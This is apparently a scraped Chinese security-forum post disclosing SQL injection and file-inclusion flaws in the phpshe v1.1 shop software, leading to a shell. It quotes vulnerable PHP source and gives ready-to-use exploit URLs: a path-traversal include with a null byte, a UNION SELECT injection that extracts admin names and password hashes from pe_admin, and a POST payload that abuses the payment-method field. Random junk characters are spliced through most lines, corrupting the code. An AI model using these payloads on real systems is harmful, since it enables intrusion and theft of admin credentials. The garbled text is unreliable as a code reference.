phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
, u& ^! Z* h2 i* f2 {. S9 r" ?! }/* E-Mail : 681796@qq.com
8 v" c7 U9 K+ T( W0 T) h3 w/*******************************************************/
0×00 整体大概参数传输

* l, l* e# o0 F3 D" ~
1 `4 l- ?- K) B+ ~$ q' m0 f
& f" W( u  c- K; A. n# o0 S//common.php
if (get_magic_quotes_gpc()) {
- C$ J+ |4 w; y9 w9 \, n!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
, U* Z7 z# h4 b$ z/ x5 p* M: P!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
2 z' O9 M% \: q$ R. n, ?! welse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
! c3 g0 ]! d4 I) G! L. h* S0 }  _$ nsession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
* E; R; V6 O1 s

//首页文件
- L, m0 O. `% q$ N5 x$ I<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
7 r6 [: W+ Q; x( finclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
! u; C5 \8 Z* X  @. T- B7 wpe_result();
5 A0 W( P# H/ }. \- `+ X6 g?>
//common 文件 第15行开始
url路由配置
. a3 s* H9 _+ J" N" W  ~$ v$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
8 |9 N  l* O; A, e$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
8 l( C. T' H& y' N//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

0×02 搜索注入

<code id="code2">

//product.php文件
, E+ d# q. e, s! f. _case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
: \* Z! G: b# K# N  b//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
% _9 V( V9 [6 f4 U$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
- N% E. b- J' p5 O! O$orderby = explode('_', $_g_orderby);
' R$ U0 @! H$ M4 y$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
$ c8 f- X. n! T; x" t' uelse {
$sqlwhere .= " order by `product_id` desc";
  h4 S; d2 @3 I7 _; R1 T}
0 R7 G, g, W: X) w$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
2 _9 `! E  Y5 @: u8 {6 [2 j; B//当前路径
" k4 L0 w+ F/ I% L$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
8 A9 Q% c* ?- X- k; x/ M* w- D1 ^public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
4 s1 q6 y5 [, A4 T" G{
! ?  J& D* M, L" V: u( ^1 J/ u/ h//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
8 m/ l' a; ]4 z: u8 O. ^5 P3 @//exp
' t( h0 N+ G$ g' eproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
" `2 R4 {9 Y5 h3 U8 G

</code>

0×03 包含漏洞2
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& }+ ?  t5 x7 h/ x* K6 J) t<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

( d  j" A# I3 e% T* g2 k$cache_payway = cache::get('payway');

2 I, [/ X5 [; J. Z8 kforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

: l; m9 j' R7 D& \if ($k == 'bank') {

5 L" U% y) k6 W* r5 w- _$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

, k2 V) q; @% J: x}

}

) X# m' v$ n( c# f# w! [$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

% B; ~$ i9 {+ m4 `4 L8 q4 V9 Oif (isset($_p_pesubmit)) {

" J2 v2 u$ e$ P' ~; t6 P$ b0 }if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

  Z" ]) d3 a* B9 v; e5 _! W, a+ }$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

2 w9 e  y' Y, b7 J- i2 {$order['order_name'] .= "{$v['product_name']};";
7 |/ b$ ?! y' P7 J& U% U" z) J$ B

}

echo '正在为您连接支付网站，请稍后...';

/ H  B0 }6 u1 ~include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

/ X7 I% y4 M' }}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

! H% g! k0 P1 M& R5 Epe_error('支付错误...');

}

/ E* j# N- {$ Z* K}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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